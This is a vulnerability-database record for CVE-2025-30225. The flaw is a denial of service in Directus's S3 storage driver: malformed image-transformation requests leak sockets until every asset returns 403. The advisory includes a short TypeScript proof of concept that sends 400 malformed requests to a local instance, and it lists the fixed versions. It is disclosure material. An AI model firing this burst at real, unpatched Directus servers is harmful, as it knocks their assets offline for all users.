{"id":"CVE-2025-30225","aliases":["GHSA-j8xj-7jff-46mx"],"url":"https://o3.security/vulnerability/CVE-2025-30225","summary":"Directus's S3 assets become unavailable after a burst of malformed transformations","details":"### Summary\nWhen making many malformed transformation requests at once, at some point, all assets are being served as 403.\n\n### Details\nWhen I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible.\n\nAfter looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L184) the stream is not consumed, because `sharp` will throw an error on the invalid arguments. For example `?height=xyz`\n\nThe [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88)  had no noticeable effect on tests made.\n\n### PoC\nThis can be easily reproduced with the following steps:\n- setup AWS S3 storage\n- set STORAGE_CLOUD_MAX_SOCKETS: \"50\" (this value is lower than default for easier reproduction)\n- upload a file to your project\n- run this file (Replace the the file ID with the one you just uploaded):\n```ts\nimport axios from \"axios\";\n\nasync function start() {\n  Array.from({ length: 400 }, (_, i) => {\n    axios\n      .get(\n        \"http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ\"\n      )\n      .then(() => console.log(\"✅\"))\n      .catch((e) =>\n        console.log(\"⛔\", e.response?.status || e.code || e.message)\n      );\n  });\n}\n\nstart();\n```\n\nHere's an example:\n\n\n\nhttps://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c\n\n\n\n\n\n### Impact\nThis causes denial of assets for all policies of Directus, including Admin and Public.","published":"2025-03-26T16:27:14.665Z","modified":"2026-08-12T03:51:22.344550677Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":{"score":0.00424,"percentile":0.35381,"asOf":"2026-08-31"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@directus/storage-driver-s3","fixedVersion":"12.0.1"},{"ecosystem":"npm","name":"directus","fixedVersion":"11.5.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30225.json"},{"type":"ADVISORY","url":"https://github.com/directus/directus/security/advisories/GHSA-j8xj-7jff-46mx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30225"},{"type":"PACKAGE","url":"https://github.com/directus/directus"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:22.344550677Z"}}